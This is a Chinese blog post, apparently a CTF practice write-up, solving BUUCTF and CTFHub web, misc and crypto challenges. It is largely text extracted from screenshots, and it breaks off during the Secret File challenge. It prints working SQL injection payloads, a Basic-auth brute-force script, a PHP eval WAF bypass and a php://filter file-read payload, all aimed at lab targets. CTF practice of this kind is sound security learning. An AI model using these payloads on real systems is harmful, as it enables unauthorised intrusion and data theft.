CTF题记——暑假计划第一周

原创

more 于 2020-07-10 16:01:14 发布 674 论 收藏 2 分类专栏: CTF 文章标签: CTF 题记 BUUCTF GXY2019CheckIn

m0re

本文链接: <u>https://blog.csdn.net/qq_45836474/article/details/107150967</u> 版权



31 篇文章 3 订阅 订阅专栏

本文目录

前言

Web

[强网杯 2019]随便注

技能树HTTP协议基础认证

技能树目录遍历

bak文件

[极客大挑战 2019]EasySQL

[极客大挑战 2019]Havefun

[RoarCTF 2019]Easy Calc

[极客大挑战 2019]Secret File

[极客大挑战 2019]LoveSQL

[GXYCTF2019]Ping Ping Ping

Misc

[WUSTCTF2020]alison_likes_jojo

[SUCTF2018]single dog

[SUCTF 2019]Game

2020网鼎杯朱雀组——九宫格

[GUET-CTF2019]zips

我吃三明治

[MRCTF2020]CyberPunk

[WUSTCTF2020]girlfriend

[HBNIS2018]来题中等的吧

Crypto

[NCTF2019]Keyboard [GXYCTF2019]CheckIn

前言

学期结束,暑假开始,博客也开始正常更新。 差不多就是一周一篇CTF题记,一篇漏洞原理的知识,外加随便一篇。

Web

Web类的题目是在BUUCTF挑选的。

[强网杯 2019]随便注

🗲 🔶 C 🛛 ② 不安全 | 64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/?inject=1

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势: 1	提交
array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah"	

https://blog.csdn.net/qq_45836474

然后判断闭合,输入单引号报错,可以判断是字符型SQL注入。

1' order by 3#

判断列数,到3已经报错了,说明只有2列。 然后先试试联合查询注入

← → C ① 不安全 | 64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/?inject=1'+union+select+1%2C2%2C3--%2B

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势: 1 提交

return preg_match("/select|update|delete|drop|insert|where|\./i",\$inject);

https://blog.csdn.net/qq_45836474

正则匹配过滤URL中的 select、upload、where还有"." 等,尝试大小写绕过,失败。 所以尝试下报错注入,payload

1' and extractvalue(0x0a,concat(0x0a,(database())))#

这个跟我常用的不一样,我以前常用的报错注入payload里面是包含了 select 的,所以有找了一个没有过滤内容的payload来进 行绕过。

← → C ① 不安全 | 64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/?inject=1%27+and+extractvalue%280x0a%2Cconcat%280x0a

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势: 1 提交 error 1105 : XPATH syntax error: ' supersqli'

https://blog.csdn.net/qq_45836474

数据库名是 supersqli 然后就卡住了,查看前面师傅们的wp,了解到了堆叠注入。 先了解一下...... 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union或者 union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入: 1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后, 第一条显示查询信息,第二条则将整个表进行删除。

当然堆叠注入还有一定的局限性,这个以后遇到再进行学习。 payload

0';show databases;#

姿势: 1 提交	
array(1) { [0]=> string(11) "ctftraining" }	
array(1) { [0]=> string(18) "information_schema" }	
array(1) { [0]=> string(5) "mysq1" }	
array(1) { [0]=> string(18) "performance_schema" }	
array(1) { [0]=> string(9) "supersqli" }	
array(1) { [0]=> string(4) "test" }	
	https://blog.csdn.net/qq_45836474

爆出来六个数据库名。 然后查看所有的表

0';show tables;#

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

姿势: 1	提交	
array(1) { [0]=> string(16) "1919 }	19810931114514″	
array(1) { [0]=> string(5) "words }	ds″	
	https://blog.csdn.net/qq_458364	474
查看表中字段		
0';desc words;#	#	
€ i 64ec	ccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.bu C 後 Q 搜索	
INT ×	- SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCO	
a Lo <u>a</u> d URL ∦ <u>S</u> plit URL	http://64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/ ?inject=0';desc words;#	
) E <u>x</u> ecute		
	🗌 Post data 🗌 Referrer 🗨 0xHEX 🍉 🗨 %URL 🍉 🗨 BASE64 🍉	
string(0) [4]=> NULL [5]=>	<i>""</i>	
<pre>string(0) }</pre>	""	
array(6) { [0]=>		
string(4) [1]=>	"data"	
string(11) [2]=>	1) "varchar(20)"	
string(2) [3]=>	"NO"	
string(0) [4]=>	""	
NULL [5]=>	https://blog.csdn.net/qq_45836474	

好像是没有什么有效信息,再看另一个

0';desc `1919810931114514`;# #*注释字段名是数字,查看时用 ` 包起来*

	casy_sqi	~ (т
ŧ	i) 64eo	ccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.bu、 🎴 C 🛞 🤇 捜索
INT	~	SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODI
 □ □ 0 0	Lo <u>a</u> d URL <u>S</u> plit URL E <u>x</u> ecute	http://64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/ ?inject=0';desc `1919810931114514`}#
		🗌 Post data 🗌 Referrer < 0xHEX 🌦 < %URL 🕭
姿	势: 1	提交查询
arı	ray(6) { [0]=> string(4)	"flag"
5	string(12)) "varchar(100)"
5	string(2) [3]=>	"NO"
5	string(0) [4]=>	
1	NULL [5]=>	
}	string(0)	https://blog.csdn.net/qq_45836474
这个望	E询flag的方式	式才是需要解决的。

然后看了一个师傅的wp是这么写的,正则过滤没有过滤alert和rename这两个,所以可以使用这两个功能来实现一波骚操作

1.将words表改名为word1或其它任意名字
 2.1919810931114514改名为words
 3.将新的word表插入一列,列名为id
 4.将flag列改名为data

有两个payload,我都进行尝试但是结果没有出flag。先贴一下payload

#第一个
?inject=1'; ALTER TABLE `words` CHANGE `flag` `data` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT
NULL;show columns from words;#
#第二个
?inject=1';rename table `words` to` word1`;rename table `1919810931114514` to `words`;alter table `words` add id
int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` varchar(100);#

结果一样,

```
?inject=1';rename table words to word1;rename table 1919810931114514 to word
   <u>S</u>plit URL
8
               `flag` `data` varchar(100);#
Execute
               🗌 Post data 🗌 Referrer < 🔍 0xHEX 🚬 <
                                                                           BASE64
   Stillg(1)
                .
   [1] \Rightarrow
   string(7) "hahahah"
}
array(2) {
   [0]=>
   string(1) "2"
   [1] \Rightarrow
   string(12) "miaomiaomiao"
}
array(2) {
   [0]=>
   string(6) "114514"
   [1] \Rightarrow
   string(2) "ys"
}
                                                          https://blog.csdn.net/gg 45836474
emmm,我又查看了一遍,发现没修改成功,
 [0]=>
 string(1) "1"
 [1] \Rightarrow
 string(7) "hahahah"
\operatorname{urray}(6) {
 [0]=>
 string(4) "flag"
 [1] \Rightarrow
 string(12) "varchar(100)"
 [2] \Rightarrow
 string(2) "NO"
 [3] \Rightarrow
 string(0) ""
 [4]=>
 NULL
                                              https://blog.csdn.net/gg_45836474
 [5]=>
         . . ....
不知道是什么原因, emmm不慌, 还有一种方法:
PHP中mysql预处理,,不知道,先学习一下
参考博客——□MySQL的SQL预处理(Prepared)
```

语法:

定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

在mysql命令行中看下

mysql> prepare study from 'select ?+?'; Query OK, O rows affected (0.00 sec)	语法:		
Statement prepared			
mysql> execute study using @a,@b;			
++			
1 · ' · 1 ++			
12 row din set (0.00 sec) 313938313 (https://blog.csdn.	net/qq_45836474		

真是tql

mysql> set @a=concat("sel","ect"," group_con" e","re tabl","e_","sche","ma=datab","ase()"); Query OK, 0 rows affected (0.00 sec)	<pre>"cat(table_n", "ame) ", "fro", "m", " infor", "mation_</pre>	sc","hema.tabl","es"," wh 前
mysql> prepare dump from @a; Query OK, O rows affected (0.00 sec) Statement prepared mysql> execute dump;		
++ group_concat(table_name)		
admin, j4y		
t row in set (0.00 sec)		
mysql> deallocate prepare; ERROR 1064 (42000): You have an error in your for the right syntax to use near '' at line mysql> deallocate prepare dump:	SQL syntax; check the manual that corresponds to 1	your MySQL server version
Query OK, 0 rows affected (0.00 sec)		https://blog.csdn.net/qq_45836474

然后就可以做题了。下面的payload可以用。

?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;exec
ute execsql;#

这个是拼接的十六进制数字,将那一串数字转换为16进制。 还有一种方法可以将其转换为ascii码然后在进行转换

```
1';SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sql
a;#
```

喔,666

Lo <u>a</u> d URL	http://64eccbce-ffe6-454e-85e4-ff565aa0fe3a.node3.buuoj.cn/ ?inject=1';SeT@a=0x73656c656374202a2066726f6d2060313931393831303933	33131313435313460;prepare execsql from @a;execute
• E <u>x</u> ecute		
] Post data] Referrer 《 0xHEX 》 《 %URL 》 《 BA	ASE64 Insert string to replace Insert replacin
取付于	呆次具实坏境渗透,只说一句话:	计反和女全球一个可
姿势: 1	提交查询	
array(2) {		
[0]=> string(1) "	1″	
[1] = >		
<pre>string(7) }</pre>	nananan	
array(1) {		
[0]=> string(42)	"flag{790cb100-9cd8-4d44-a7b2-6d3c9b03937d}"	
}		https://blog.csdn.net/qq_45836474
膜拜大佬,这方;	法也太强了。	
技能树H ⅠⅠ	P协议基础认证	
,		
基础认证		×
所需金币:	30 题目状态:未解出 解题奖励:	金币:100 经验:10
在HTTP中,	,基本认证(英语:Basic access authentication)是允许http	o用户代理(如:网
Ţ	页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情	情请查看
	https://zh.wikipedia.org/wiki/HTTP基本认证	
http://c	:hallenge-90125a3cbac8f87f.sandbox.ctfhub.com:10080	
🗈 题目	附件	
	00:10:43	
	环境续期 > 停止并销毁环境	
	每分钟需要1个金币,请根据个人需求	
	https://blog	csdn.net/ag. 45836474

(mm)		_	-			.020	LINIC	NUDO		ULINI	TOOL	S* VV/								
i I	Load URL																			
ж (р)	Spiit UKL																			
	L <u>a</u> ccute	P	ost data	Re	ferrer	— ()xHEX			%URL	⋗		BASE6	4 🗩	I	nsert s	tring to	o repla	ce Insei	rt rep
C	TFH	ub	基码	出认	证															
He	re is you	ır flag	click																	
								\												
															btte	e://blo	a ceda	net/aa	45936/	174
															nuq	53/0(0)	glosun	. ICVQQ	_400004	
用户	输入admi	n密码	随机123																	
	Forward		Drop		Intercep	t is on		Actio	on	J										
Rav	Forward	s Hex	Drop		Intercep	t is on		Actio	on	J										
Rav GET /	Forward W Header flag.html H	s Hex	Drop		Intercep	t is on		Actio	on	J										
Rav GET / Host:	Forward W Header flag.html H ⁻ challenge-9 Agent: Moz	s Hex TTP/1.1 00125a30	Drop	sandbo	Intercep x.ctfhub.	t is on com:10	0080	Actio	on	J	(/46.0									
Rav GET / Host: Jser-/ Accep	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html	s Hex TTP/1.1 00125a30 illa/5.0 (I,applica	Drop cbac8f87f. Windows I tion/xhtml	sandbo NT 10.0 +xml,a	Intercep x.ctfhub. ; WOW	t is on com:10 54; rv:4 n/xml;q	0080 6.0) Ge =0.9,*/	Actio	on)10010	J I Firefo	¢/46.0									
Rav GET / Host: Jser-/ Accep	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language	s Hex TTP/1.1 00125a30 iilla/5.0 (I,applica e: zh-CN	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, oflate	sandbo NT 10.0 +xml,a ,en-US;	Intercep x.ctfhub. ; WOW pplication q=0.5,er	t is on com:10 54; rv:4 n/xml;q n;q=0.3	0080 6.0) Ge =0.9,*/	Actic ecko/20 *;q=0.8)10010 ⁻ }	J	(/46.0									
Rav GET / Host: Jser-/ Accep Accep DNT:	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1	s Hex TTP/1.1 0125a30 iila/5.0 (1 l,applica :: zh-CN : gzip, d	Drop cbac8f87f. Windows I tion/xhtml- ,zh;q=0.8, eflate	sandbo NT 10.C +xml,a ,en-US;	Intercep x.ctfhub. ; WOW oplication q=0.5,er	t is on com:10 54; rv:4 h/xml;q n;q=0.3	0080 6.0) Ge =0.9,*/	Actio)10010 ⁻ }	J	(/46.0									
Ran GET / Host: Jser-/ Accep Accep Accep ONT: Refere	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://chi	s Hex TTP/1.1 10125a36 iila/5.0 (1 1,applica 2: zh-CN 2: gzip, d allenge-S	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, eflate 90125a3cb	sandbo NT 10.0 +xml,a ,en-US; pac8f87	Intercep x.ctfhub. ; WOW(oplication q=0.5,er	t is on com:10 54; rv:41 n/xml;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actic ecko/20 *;q=0.8)10010 ⁻ }	J	(/46.0									
Ray GET / Host: Jser-/ Accep Accep ONT: Refere Conne	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://ch ection: clos rization: Ba	s Hex TTP/1.1 00125a3/ illa/5.0 (I,applica : zh-CN : gzip, d allenge-S e sic YWI	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, eflate 90125a3cb RtaW46M	sandbo NT 10.0 +xml,a ,en-US; pac8f87 TIz	Intercep x.ctfhub. ; WOW oplication q=0.5,er f.sandbo	t is on com:1(64; rv:4 n/xml;q n;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actio ecko/20 *; q=0.8 10080/)10010 ⁻ }	I Firefo	«/46.0									
Ran GET / Host: Jser-/ Accep Accep DNT: Refere Conne	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://ch: ection: close rization: Ba	s Hex TTP/1.1 10125a30 10125a 10125a30 10125a30 10125a30 10125a30 10125a30 10125a30 10125a30 10125a30 10125a30 10125a 10	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, eflate 30125a3cb RtaW46M	sandbo NT 10.0 +xml,a ,en-US; bac8f87 Tlz	Intercep x.ctfhub. ; WOW oplication q=0.5,er f.sandbo	t is on com:10 54; rv:4i n/xml;q n;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actio ecko/20 *;q=0.8)10010	I Firefox	(/46.0									
Rational Control Contr	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://ch: ection: close rization: Ba	s Hex TTP/1.1 00125a3(illa/5.0 (l,applica : zh-CN : gzip, d allenge-S e sic YWI	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, eflate 90125a3cb RtaW46M	sandbo NT 10.0 +xml,a ,en-US; pac8f87 TIz	Intercep x.ctfhub. ; WOW oplication q=0.5,er f.sandbo	t is on com:1(54; rv:4) n/xml;q n;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actic ecko/20 *;q=0.8)10010 ⁻ }	J	c/46.0									
Ran GET / Host: Jser-/ Accep Accep DNT: Refere Conne	Forward W Header flag.html H challenge-9 Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://ch ection: clos rization: Ba	s Hex TTP/1.1 00125a30 iilla/5.0 (I I,applica :: zh-CN : gzip, d allenge-S e sic YWI	Drop cbac8f87f. Windows I tion/xhtml- ,zh;q=0.8, eflate 90125a3cb RtaW46M ⁻	sandbo NT 10.0 +xml,a en-US; pac8f87 Tlz	Intercep x.ctfhub. ; WOW oplication q=0.5,er	t is on com:10 54; rv:40 n/xml;q n;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actio ecko/20 *;q=0.8)10010	l Firefo	(/46.0									
Ran GET / Host: Jser-// Accep DNT: Refere Conne Autho	Forward W Header flag.html H challenge-S Agent: Moz ot: text/html ot-Language ot-Encoding 1 er: http://ch. ection: close rization: Ba	s Hex TTP/1.1 10125a3(illa/5.0 (l,applica e: zh-CN : gzip, d allenge-S e sic YWI	Drop cbac8f87f. Windows I tion/xhtml ,zh;q=0.8, eflate 90125a3cb RtaW46M	sandbo NT 10.0 +xml,aj en-US; bac8f87 Tlz	Intercep x. ctfhub. ; WOW(pplication q=0.5,er	t is on com:10 54; rv:40 n/xml;q n;q=0.3 x.ctfhul	0080 6.0) Ge =0.9,*/ b.com:	Actio ecko/20 *;q=0.8)10010	I Firefo	(/46.0	ht	tps://blo	og.csd	In.ne	et/qq_	45836	6474		

找了好久发现这里是输入的用户名和密码。它是进行了base64加密了。所以就需要将字典文件也进行加密。使用大佬写的 python脚本。

```
import base64
# 字典文件路径
dic_file_path = './10_million_password_list_top_100.txt'
with open(dic_file_path, 'r') as f:
    password_dic = f.readlines()
username = 'admin:' # 用户名
for password in password_dic:
    str1=str.encode(username + password.strip())
    encodestr = base64.b64encode(str1)
    encodestr=str(encodestr)
    encodestr=encodestr.strip('b\'')
    encodestr=encodestr.replace("=","\=") #避免"="被转译
    print(encodestr)
```

der Repeater Windo	str1=str.encode(username + password.strip encodestr = base64.b64encode(str1)	())
	encodestr=str(encodestr), Dacoder Comparer Ext	
	encodestr=encodestr.replace("=", "\=") #3	避免"="被转译
	or int (encodestr) -90125a3cbac8f87f sandbox.ctfhub.com:10080 [47.98_148.7]	
YWRtaW46MTIz YWRtaW46cGFzc		
YWRtaW46bGlu		
YWRtaW46MIIzM YWRtaW46cXdIa	NDU2Nzg\= cnR5	
YWRtaW46MTIz	1002Nzg5 hub.com:10080 1002Nzg5 hub.com:10080 1001N_05, WOW54; n:46.0) Gecko/20100101 Firefox/46.0	
YWRtaW46MTIzi	NDU (= application/xml; q=0.9,*/*; q=0.8	
YWRtaW46MTExM	MTEx NDL2Nm) =) =	
YWRtaW46ZHJh	Z29u _{87f sandhov ethub com:10080/}	
YWRtaW46MTIzM		
YWRtaW46YWJjM	MTIz	
YWRtaW46Zm9vo	dGJhbGw\=	
YWRtaW46bGV0	bWVpbg\=\=	
YWRtaW46Njk20	DTY5	https://blog.csdn.net/qq_45836474

重新写一个txt字典文件。进行爆破。

Tiller. Showing all liems

Request	Payload	Status	Error	Timeout	Length A Comment
100	YWRtaW46dGF5bG9y	200			394
0		401			404
1	YWRtaW46MTIzNDU2	401			404
2	YWRtaW46cGFzc3dvcm	401			404
3	YWRtaW46bGluZQ\=\=	401			404
4	YWRtaW46MTIzNDU2Nz	401			404
5	YWRtaW46cXdlcnR5	401			404
6	YWRtaW46MTlzNDU2Nzg5	401			404bs://blog.csdn.net/qq_45836474
7	VWDL-WACKTI-NDUV-	404			404

然后查看response

Request	Payload	Status	Error	Timeout	Length	Comment	
100	YWRtaW46dGF5bG9y	200			394		4
0		401			404		
1	YWRtaW46MTIzNDU2	401			404		Ĩ
2	YWRtaW46cGFzc3dvcm	401			404		
3	YWRtaW46bGluZQ\=\=	401			404		
4	YWRtaW46MTIzNDU2Nz	401			404		
5	YWRtaW46cXdlcnR5	401			404		
6	YWRtaW46MTIzNDU2Nzg5	401			404		
7	YWRtaW46MTIzNDU\=	401			404		
8	YWRtaW46MTIzNA\=\=	401			404		1
Request	Response						
Raw	leaders Hex						
HTTP/1.1 2	00 OK		•				

HTTP/1.1 200 OK Server: openresty/1.15.8.2 Date: Mon. 25 May 2020 14:33:31 GMT Content-Type: text/html; charset=utf-8 Connection: close Last-Modified: Mon, 25 May 2020 14:16:11 GMT ETag: W/"5ecbd32b-31" Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Methods: * Content-Length: 49

ctfhub{4d8f21baf11c37daf4d3df71e7304c96b4abdad1} 🚤

https://blog.csdn.net/qq_45836474

技能树目录遍历

第一个办法:傻瓜式操作,一个个找。(位置好像是随机的,可以自己找找)

← → C ① 不安全 | challenge-4d716e1afe267765.sandbox.ctfhub.com:10080/flag_in_here/2/3/

Index of /flag_in_here/2/3

 Name
 Last modified
 Size Description

 Parent Directory

🖹 <u>flag.txt</u> <u>2020-00-07</u> 02:10 49

Apache/2.4.38 (Debian) Server at challenge-4d716e1afe267765.sandbox.ctfhub.com Port 10080

https://blog.csdn.net/qq_45836474

```
第二种方法: 脚本查询
使用request库进行查询
import requests
url = "http://challenge-4d716e1afe267765.sandbox.ctfhub.com:10080/flag_in_here/"
for i in range(5):
    for j in range(5):
        url_test =url+"/"+str(i)+"/"+str(j)
        r = requests.get(url_test)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print(url_test)
```



然后直接访问URL得到flag

bak文件

← → C ① 不安全 | challenge-b900fa58bd05d407.sandbox.ctfhub.com:10080/index.php

Flag in index.php source code.

这个用dirsearch扫描,

D:\Anquan\ctftools\web专用\dirsearch-master>python dirsearch.py -u http://challenge-b90	00fa58bd05d407.sandbox.ctfhub.com:
10080. index. php/ −e *	
Extensions: * HTTP method: get Threads: 10 Wordlist size: 6124	
Error Log: D:\Anquan\ctftools\web专用\dirsearch-master\logs\errors-20-06-07_10-38-21.lo	og
Target: http://challenge-b900fa58bd05d407.sandbox.ctfhub.com:10080.index.php/	https://blog.csdn.net/qq_45836474

等它跑一会儿,等到index.php的时候ctrl+C就可以停下来了,不然太多。



10:39:02]	503 -	605B	- /INSTALL_admin	
10:39:02]	503 -	605B	- /installation	
10:39:02]	503 -	605B	- /installation.htm	
10:39:02]	503 -	605B	- /installation/	
10:39:02]	503	605B	- /ivt/ivtejb:后直接访问URI 得到flag	
10:39:02]	503 -	605B	- /ivt/ivtservlet	
10:39:02]	503 -	605B	- /ivtservlet	https://blog.code.cot/cg45026474
10:39:02]	503 -	605B	- / i2ee hak文件	https://biog.csdn.net/qq_45836474

然后访问就可以下载了,打开文件

[极客大挑战 2019]EasySQL

界面挺帅的,黑色系列。判断一下闭合符号,发现是单引号闭合的字符型注入。



这样的登录框,首先应该想到的是万能密码,先看看能不能登录,如果能登陆再看看有没有有效信息,如果没有信息再进行寻常的注入。

这个是个简单的注入,所以万能密码就可以直接得到flag了

admin' or 1=1 #



flag{a3fe1ac7-493c-4546-9aeb-5a244f6f254c}

[极客大挑战 2019]Havefun

查看源码,这个好像没什么难度吧。

← -	→ C	()	不安全 (a82d2d74	-29cd-4ea	5-b498-28029)2be1b19.r	node3.buuoj.	cn			
										Syc	elcl4y	
	Ele	ements	Console	Sources	Network	Performance	Memory	Application	Security	Lighthouse	AdBlock	
DOCT</td <td>YPE ht</td> <td>ml></td> <td></td>	YPE ht	ml>										
Inclini >	d> <td>ad></td> <td></td>	ad>										
··· ▼ <bod< td=""><td>y> == 3</td><td>50</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></bod<>	y> == 3	50										
► <d< td=""><td>iv clas ¢ i j iv styl</td><td>s="mai cat=\$_ echo \$c if(\$cat ech } > le="pos</td><td>n"> GET['cat'] at; =='dog'){ o 'Syc{cat_ ition: abso</td><td>; _cat_cat_c</td><td>at}'; om: 0;width</td><td>: 99%;"><td>v></td><td></td><td></td><td></td><td></td><td></td></td></d<>	iv clas ¢ i j iv styl	s="mai cat=\$_ echo \$c if(\$cat ech } > le="pos	n"> GET['cat'] at; =='dog'){ o 'Syc{cat_ ition: abso	; _cat_cat_c	at}'; om: 0;width	: 99%;"> <td>v></td> <td></td> <td></td> <td></td> <td></td> <td></td>	v>					
<td>√dy> L></td> <td></td> <td>ماليمال</td>	√dy> L>											ماليمال

https://blog.csdn.net/qq_458

直接出来了。

8 8 8	Lo <u>a</u> d URL <u>S</u> plit URL E <u>x</u> ecute	http://a82d2d ?cat=dog	74-29cd-4ea5-b498-28029	2be1b19.node3.buuoj.cn/					
		🗌 Post data	🗌 Referrer < 🔍 🔍	🗩 < %URL 🗩	BASE64 🗩	Insert string to replace	Insert replacing string	🖂 Replace All 🛛 🕭	∍
				•		-	flag{a5801c4b-906	3-4f1a-a717-dd6	556335434e}

[RoarCTF 2019]Easy Calc



查看源码注释说有waf,然后访问源码中提示的calc.php

```
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n', \'', '\', '\[', '\]', '\$', '\\', '\^'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $str)) {
                die("what are you want to do?");
                }
            eval('echo '.$str.';');
      }
}
```

这个就是waf的规则了。需要绕过num,

php的解析规则:当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析

所以进行绕过只需要在num前面加上空格就OK了, num 进行过滤,但是 num 前面加上空格就没有问题了,waf就不会管num之外的东西。

查看目录,使用ascii码绕过

? num=1;var_dump(scandir(chr(47)))

📩 🔄 😫 🗖 🖓 🏞 🌍 E

Tarray(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "media" [12]=> string(3) "media" [12]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "avr" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "urr" [23]=> string(3) "var" }

https://blog.csdn.net/qq_45836474

看到一个flagg的

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

查看到flag是

そ う C の 不安全 | node3.buuoj.cn:27336/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))))

1string(43) "flag{e9d97f2c-3295-4aa9-b91e-f07e164a3e35} "

方法二: http请求走私

这个看学长总结了,看着有点头大,还是以后基础扎实点了再学这个吧。

⑦ 不安全 | node3.buuoj.cn:27336/calc.php?%20num=1;var_dump(scandir(chr(47)))

[极客大挑战 2019]Secret File

第一步: f12

你想知道蒋璐	源的秘密么?
想要的话可以给你,去找 Syclove	巴!把一切都放在那里了! r@day
R 🗋 Elements Console Sources Network Performance Memory Application Security Lighthouse AdB	lock
<pre></pre>	那里了! eft:44%;cursor:default;">Oh! You found me == \$0 https://blog.csdn.net/qo_4583647<

第二步:点击跳转到另一个页面





中间跳转了,所以需要抓包分析

	3 1
Request	Response
Raw Headers Hex	Raw Headers Hex HTML Render
GET /action.php HTTP/1.1 Host: 9206fc64-da62-4351-929d-a30fa5cd6073.node3.buuoj.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://9206fc64-da62-4351-929d-a30fa5cd6073.node3.buuoj.cn/Archive_room.php Connection: close	HTTP/1.1 302 Found Server: openresty Date: Wed, 08 Jul 2020 15:21:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 63 Connection: close Location: end.php X-Powered-By: PHP/7.3.11
	https://blog.csdn.net/qq_45836474
找到了,然后访问 ◆ ① 9206fc64-da62-4351-929d-a30fa5cd6073.node3.buuoj.cn/secr3t.php INT	C 後 Q 搜索 BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*
🗌 Post data 🗌 Referrer < 0xHEX 🍉 < %URL 🍉 🥌 B4	ASE64 Discret string to replace Insert replacing string 🗸 Repl
<html></html>	



现在再来看上面的那个代码,是PHP伪协议的源代码,这里可以使用PHP伪协议,但是看到有过滤,过滤了带有 tp 的,还 有 input、data 找一个没有过滤的伪协议进行解题。选择filter payload

?file=php://filter/convert.base64-encode/resource=flag.php

NI							
🗋 Post data 📄 Referrer 🛫 OxHEX 🗩 🛫 %URL 🌫 🕊 BASE64 🍉 Insert string to replace All 🗩							
<html> <title>secret</title> <meta_charset="utf-8"> <?php</td></meta_charset="utf-8"></html>							
<pre>highlight_file(_FILE_); error_reporting(0); \$file=\$_GET['file']; if(strstr(\$file, ",,") stristr(\$file, "to") stristr(\$file, "input") stristr(\$file, "data")) {</pre>							
<pre>echo "Oh no!"; exit(); } include(\$file);</pre>							
//flag放在了flag.php県 ?> PCFFTONUWVRFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVb7D4KICAgICAgICA8bWV0YSBiagEvc2V0PSJ1dGYt0Cl+CiAgICAgICAgPLRpdGxIPk7MQUc8l3RpdGxIPgoglCAgPC9o7WEkPgoKICAgIDxib2R;							

https://blog.csdn.net/qq_45836474

base64解码,

Source		Replace	Replace	Clear	Сору	Paste
PCFET0NUWVBFIGh0bWw+	Cgo8aHRtbD4KC	iAgICA8aGVhZD4K	ICAgICAgICA8bWV	0YSBjaGF	yc2V0PSJ	[1dGYtC
CI+CiAgICAgICAgPHRpd	lGx1PkZMQUc8L3	RpdGx1PgogICAgP(C9oZWFkPgoKICAg	IDxib2R5	IHN0eWx1	PSJiY₩
NrZ3JvdW5kLWNvbG9yOm	nJsYWNrOyI+PGJ	yPjxicj48YnI+PG	JyPjxicj48YnI+C	iAgICAgI	CAgCiAgI	[CAgICA
